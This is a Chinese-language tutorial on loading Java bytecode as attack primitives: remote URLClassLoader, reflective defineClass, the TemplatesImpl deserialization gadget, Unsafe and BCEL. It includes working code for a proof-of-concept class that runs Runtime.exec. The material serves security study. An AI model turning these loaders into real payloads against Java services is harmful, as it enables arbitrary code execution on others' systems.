简介
什么是Java字节码
它是程序的一种低级表示,可以运行于Java虚拟机上。将程序抽象成字节码可以保证Java程序在各种设备上的运行
Java号称是一门“一次编译到处运行”的语言,从我们写的java文件到通过编译器编译成java字节码文件(.class
文件),这个过程是java编译过程;而我们的java虚拟机执行的就是字节码文件。不论该字节码文件来自何方,由哪种编译器编译,甚至是手写字节码文件,只要符合java虚拟机的规范,那么它就能够执行该字节码文件。
JAVA程序的运行
因为Java具有跨平台特性,为了实现这个特性,Java执行在一台虚拟机上,这台虚拟机就是JVM,Java通过JVM屏蔽了不同平台之间的差异,从而做到一次编译到处执行。
JVM位于Java编译器和OS平台之间,Java编译器只需面向JVM,生成JVM能理解的代码,这个代码即字节码,JVM再将字节码翻译成真实机器所能理解的二进制机器码。
字节码如何产生
我们编写的代码文件通常是以.java
作为结尾的,可以直接通过javac
命令将java文件编译为.class
文件,这个.class
文件就是字节码文件,也可以直接运行IDE,让其自动为我们编译
如何看懂字节码
可以参考文章:深入理解JVM-读懂java字节码
加载字节码
通常我们是编写好java代码然后ide帮我们自动编译成class字节码文件再加载到jvm中运行的,那如果我们想自己加载class文件,有哪些办法呢?
- 后续利用到的演示恶意代码如下 ``` import java.io.IOException;
public class Exp { public Exp() throws IOException { Runtime.getRuntime().exec(new String[]{“open”, “-na”, “Calculator”}); } }
- 编译为字节码
javac Exp.java
## 利用URLClassLoader加载远程class文件
利用`ClassLoader`来加载字节码文件是最基础的方法,`URLClassLoader`继承自`ClassLoader`且重写了`findClass`函数,允许远程加载字节码,在写漏洞利用的`payload`或者`webshell`的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用(当然,该方式只适应于目标出网的情况)。<br />正常情况下,Java会根据配置项 `sun.boot.class.path`和`java.class.path`中列举到的基础路径(这些路径是经过处理后的`java.net.URL`类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
1.
URL未以斜杠/结尾,则认为是一个JAR文件,使用 `JarLoader` 来寻找类,即为在Jar包中寻找`.class`文件(jar文件中直接包含class文件,可以使用命令 `jar cvf Exp.jar Exp.class` 进行打包)。
import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader;
public class loadClassFile { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException { URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(“http://127.0.0.1:8000/Exp.jar")}); // 会加载 http://127.0.0.1:8000/Exp.jar中的Exp.class Class<?> exp = urlClassLoader.loadClass(“Exp”); // 触发构造函数,弹计算器 exp.newInstance(); } }
1.
URL以斜杠/结尾,且协议名是 `file` ,则使用 `FileLoader` 来寻找类,即为在本地文件系统中寻找`.class`文件。
import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader;
public class loadClassFile { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException { URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(“file:/Users/d4m1ts/d4m1ts/java/classloader/“)}); // 会加载 /Users/d4m1ts/d4m1ts/java/classloader/Exp.class Class<?> exp = urlClassLoader.loadClass(“Exp”); // 触发构造函数,弹计算器 exp.newInstance(); } }
1.
**URL以斜杠/结尾,且协议名不是 `file` ,则使用最基础的 `Loader` 来寻找类`.class`文件。**
import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader;
public class loadClassFile { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException { URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(“http://127.0.0.1:8000/")}); // 会加载 http://127.0.0.1:8000/Exp.class Class<?> exp = urlClassLoader.loadClass(“Exp”); // 触发构造函数,弹计算器 exp.newInstance(); } }
主要关注第三点,利用基础的`Loader`类来寻找类,而要利用这一点必须是非`file`协议的情况下<br />除`file`协议外,JAVA默认提供了对`ftp,gopher,http,https,jar,mailto,netdoc`协议的支持<br />因此作为攻击者,只要我们能够控制目标`Java URLClassLoader`的基础路径为一个http服务器,则可以利用远程加载的方式执行任意代码了。
## 利用ClassLoader#defineClass加载字节码
其实java不管是加载远程的class文件,还是本地的class或者jar文件,都是要经历下面三个方法调用的:
1. `loadClass`: 从已加载的类缓存、父加载器等位置寻找类(双亲委派机制),在前面没有找到的情况下,执行 `findClass`。
1. `findClass`: 根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 `defineClass`。
1. `defineClass`: 处理前面传入的字节码,将其处理成真正的Java类。
着重关注第三个方法`defindClass`,由于`ClassLoader#defineClass`方法是`protected`所以我们无法直接从外部进行调用,所以我们这里需要借助反射来调用这个方法。
> 由于`ClassLoader#defineClass`方法是`protected`所以我们无法直接从外部进行调用,所以我们这里需要借助反射来调用这个方法
import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths;
public class loadClassFile {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
byte[] classBytes = Files.readAllBytes(Paths.get("/Users/d4m1ts/d4m1ts/java/classloader/Exp.class"));
// 通过反射调用 defineClass
Class<ClassLoader> clazz = ClassLoader.class;
Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class exp = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Exp", classBytes, 0, classBytes.length);
// 需要手动实例化触发构造函数
exp.newInstance();
}
}
![image-20211027142250070](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987507705-43bad4f2-4b43-4867-b5ef-2b68fc9dd8a3.png)<br />需要注意的是,`ClassLoader#defineClass`返回的类并不会初始化,只有这个对象显式地调用其构造函数初始化代码才能被执行,所以我们需要想办法调用返回的类的构造函数才能执行命令。<br />在实际场景中,因为`defineClass`方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 `TemplatesImpl` 的基石。
## 利用TemplatesImpl加载字节码
在多个Java反序列化利用链,以及fastjson、jackson的漏洞中,都曾出现过 `TemplatesImpl` 的身影。虽然大部分上层开发者不会直接使用到`defineClass`方法,同时`java.lang.ClassLoader`的`defineClass`方法作用域是不开放的(`protected`),很难利用,但是Java底层还是有一些类用到了它,譬如`TemplatesImpl`<br />在`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`类中定义了一个内部类:`TransletClassLoader`<br />![image-20211027142849878](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987510692-3d73f041-5493-4b3d-8577-1aebae5e6bba.png)<br />可以看到这个类继承了`ClassLoader`,而且重写了`defineClass`方法,并且没有显式地定义方法的作用域。
> Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为`default`。也就是说**这里的`defineClass`由其父类的`protected`类型变成了一个`default`类型的方法,可以被同一个包下的类调用**。
由于`TransletClassLoader`是`default`的可以被同一个包下的类调用,所以由下向上寻找这个`defineClass()`在`TemplatesImpl`中的调用链<br />一直`Find Usages`,最终找到调用链如下:
TemplatesImpl#getOutputProperties() TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass(final byte[] b)
最外层的2个方法均是`public`修饰的,可以被外部调用,以`TemplatesImpl#getOutputProperties()`为例。
-
初次观察整个链,需要设置的参数如下`_bytecodes(字节码,不能为null)`、`_name(不能为null)`、`_class(需要为null,而默认情况下也为null,所以可以不需要)`
-
但是这样会抛出异常`NullPointerException`,经过分析,发现还需要设置`_tfactory`参数,它的类型为`TransformerFactoryImpl`
所以一共需要设置3个参数,分别是`_bytecodes`、`_name`、`_tfactory`<br />通过下方实例化的代码,可以看出远程加载的类还必须继承`AbstractTranslet`类<br />![image-20211027155836709](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987512826-14cc0816-0cef-4cce-be71-9f0a573b0a72.png)
- 所以我们的恶意类代码修改如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Exp2 extends AbstractTranslet { public Exp2() throws IOException { Runtime.getRuntime().exec(new String[]{“open”, “-na”, “Calculator”}); }
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
- 加载字节码代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException; import java.io.IOException; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class loadClassFile {
public static void main(String[] args) throws IOException, IllegalAccessException, NoSuchFieldException, TransformerConfigurationException {
byte[] classBytes = Files.readAllBytes(Paths.get("/Users/d4m1ts/d4m1ts/java/classloader/Exp2.class"));
TemplatesImpl templates = new TemplatesImpl();
Class clazz = templates.getClass();
Field bytecodes = clazz.getDeclaredField("_bytecodes");
Field name = clazz.getDeclaredField("_name");
Field _tfactory = clazz.getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
_tfactory.setAccessible(true);
bytecodes.set(templates, new byte[][]{classBytes});
name.set(templates, "d4m1ts");
_tfactory.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}
![image-20211027160032003](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987515833-c22c499b-8876-4a13-9f2e-2aa22c2e0b8d.png)
## 利用Unsafe#defineClass加载字节码
`Unsafe`是位于`sun.misc`包下的一个类,主要提供一些用于执行低级别、不安全操作的方法,如直接访问系统内存资源、自主管理内存资源等,这些方法在提升Java运行效率、增强Java语言底层资源操作能力方面起到了很大的作用。使用该类可以获取到底层的控制权,该类在`sun.misc`包,默认是**BootstrapClassLoader**加载的。<br />而它里面也存在一个`defineClass`方法,且为`public`可直接调用<br />![image-20211027163022076](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987518481-5cd64c6a-d19b-4604-96c2-15bf49060beb.png)<br />但因为**Unsafe**的构造方法是private类型的,所以无法通过new方式**实例化**获取,只能通过它的`getUnsafe()`方法获取。 又因为**Unsafe**是直接操作内存的,为了安全起见,Java的开发人员为**Unsafe**的获取设置了限制,所以想要获取它只能通过Java的反射机制来获取。<br />因为安全问题,不能直接调用<br />![image-20211027163816243](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987520968-3aede922-6291-4b6d-98c1-6a706444b6af.png)<br />但前面也说了,我们可以通过反射的方式来调用<br />通过分析发现,`theUnsafe`为`Unsafe`的对象,我们反射拿到这个对象,就可以执行任意方法了<br />加载字节码代码
import sun.misc.Unsafe;
import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import java.security.ProtectionDomain;
public class loadClassFile {
public static void main(String[] args) throws IOException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
byte[] classBytes = Files.readAllBytes(Paths.get("/Users/d4m1ts/d4m1ts/java/classloader/Exp.class"));
Class<Unsafe> unsafeClass = Unsafe.class;
Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Class<?> exp = unsafe.defineClass("Exp", classBytes, 0, classBytes.length, ClassLoader.getSystemClassLoader(), null);
exp.newInstance();
}
}
![image-20211027164550213](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987525916-ad52c8ce-c92e-4001-b78d-99fd7519658d.png)
## 利用BCEL ClassLoader加载字节码
BCEL(Byte Code Engineering Library)的全名应该是`Apache Commons BCEL`,属于Apache Commons项目下的一个子项目。它提供了一系列用于分析、创建、修改Java Class文件的API。但其因为被`Apache Xalan`所使用,而`Apache Xalan`又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中,位于`com.sun.org.apache.bcel`
> 虽然说它包含在原生库吧,但是在jdk8u251后,`com.sun.org.apache.bcel.internal.util.ClassLoader`就被删除了,如果单独引入了它的依赖,则还有ClassLoader,参考 [BCEL ClassLoader去哪了](2d8d1b9ce4d8e315b35779ce716d00cc)
> 依赖:
>
在bcel的包中有一个`ClassLoader`,他重写了Java内置的`ClassLoader#loadClass()`方法,在`loadclass`方法中会对类名进行判断,如果类名以`$$BCEL$$`开始,就会进入`createClass`方法,<br />![image-20211027171201746](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987528787-a9b8358f-e29f-406f-abff-d78210f286d6.png)<br />然后在`createClass`方法里面,会调用`Utility.decode()`来解密,最后生成`clazz`<br />![image-20211027171850126](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987531889-1a2907d8-3ab3-45ba-a923-a3c60633ac30.png)<br />但如何生成能给它解密的字节码呢?<br />通过`BCEL`提供的两个类`Repository`和`Utility`来实现:
- `Repository`:用于将一个`Class`先转换成原生字节码,当然这里也可以直接使用`javac`命令来编译 java 文件生成字节码;
- `Utility`:用于将原生的字节码转换成BCEL格式的字节码;
利用代码
JavaClass javaClass = Repository.lookupClass(Exp.class); String encode = Utility.encode(javaClass.getBytes(), true); System.out.println(encode); new org.apache.bcel.util.ClassLoader().loadClass(“BCEL” + encode).newInstance();
结果<br />![image-20211028113432432](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987533832-a3ef0c27-43eb-47cf-bddf-a85710444968.png)<br />看着很简单很容易,但是有很多坑<br />**坑点一:**<br />jdk8u261,`Utility.encode`中,`GZIPOutputStream`流不会`close`,所以内容写不进`ByteArrayOutputStream`的(给俺整懵了,网上没找到一个说这个问题的,还是得自己调试才行,离谱)<br />![image-20211028110637374](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987538115-0228af16-643e-4efd-9558-a10fd1dcece9.png)<br />换了个低版本的jdk8u231,就关闭了流可以写入进行加密,俺也不懂为啥高版本删除了,难道是删除`ClassLoader`的时候一起删除了?。。。<br />![image-20211028110900726](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987541459-bb8ecb22-4cda-43bd-beb2-4603d991b6cb.png)<br />**坑点二:**<br />换了低版本的JDK,但是出现了新的问题,提示`不支持的操作`<br />![image-20211028112355961](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987545346-47cbe1ff-5a7f-4ea2-91fe-cde5a526beb6.png)<br />跟了一下,发现在`ClassLoader#createClass()`方法中有问题<br />其中在调用`setBytes()`是提示这个方法调用会失败<br />![image-20211028112527428](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987547251-ef198761-f914-4869-823a-8e96e2dd4bf4.png)<br />跟进一下,发现会直接抛出异常。。。<br />![image-20211028112603550](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987550849-7a793f7d-fb7b-4e44-b4ce-86659575dd8a.png)<br />找了一大圈,没发现有人提到这个问题,后来不经意看到了`setBytes`的说明,在`BCEL 6.0`的时候遗弃了。。。<br />![image-20211028112848727](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987551710-9c3c9c27-ecd1-485c-9e86-f3191b465c90.png)<br />所以需要用低于6.0版本的BCEL,换了个06年的5.2
```
方法没被遗弃,然后解决了这个问题